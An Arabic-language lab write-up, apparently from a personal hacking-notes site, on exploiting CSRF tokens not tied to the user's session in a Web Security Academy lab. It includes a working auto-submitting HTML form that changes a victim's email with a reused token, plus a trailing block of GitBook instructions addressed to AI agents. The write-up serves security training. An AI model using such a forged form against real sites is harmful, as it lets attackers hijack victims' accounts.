> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF مع رمز مميز غير مرتبط بالجلسة

### هجوم CSRF حيث لا يكون الرمز مرتبطًا بجلسة المستخدم

#### هدف المختبر

غيّر عنوان البريد الإلكتروني للضحية عبر هجوم CSRF. يستخدم التطبيق رموز CSRF، لكنها **غير مرتبطة بجلسة المستخدم**.

#### الملاحظات

كل رمز CSRF يكون **صالحًا لمرة واحدة فقط**.

<figure><img src="/files/bbdf592a4e2aa4246bfcd7003471a59c1f4acd31" alt=""><figcaption></figcaption></figure>

* الرموز **غير مرتبطة بالجلسة**: يمكن استخدام الرمز الذي تم الحصول عليه مع المستخدم A لاستهداف B.

<figure><img src="/files/0124ffdb1a64df48e676a7f23ea403d4d6104e45" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/773056bb428c3b9fd16b6126422b8a4a117379c5" alt=""><figcaption></figcaption></figure>

#### الاستراتيجية التشغيلية

1. **استرجع رمز CSRF جديدًا** دون استخدامه (اعترض طلبًا جديدًا للحصول على رمز لا يزال صالحًا).
2. **استضف نموذجًا خبيثًا** على خادم الاستغلال يرسل طلب POST لتغيير عنوان البريد الإلكتروني بإعادة استخدام **هذا الرمز**.
3. عندما يزور الضحية الصفحة المصيدة، يُرسِل النموذج تلقائيًا و **يعدّل عنوان بريدهم الإلكتروني**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
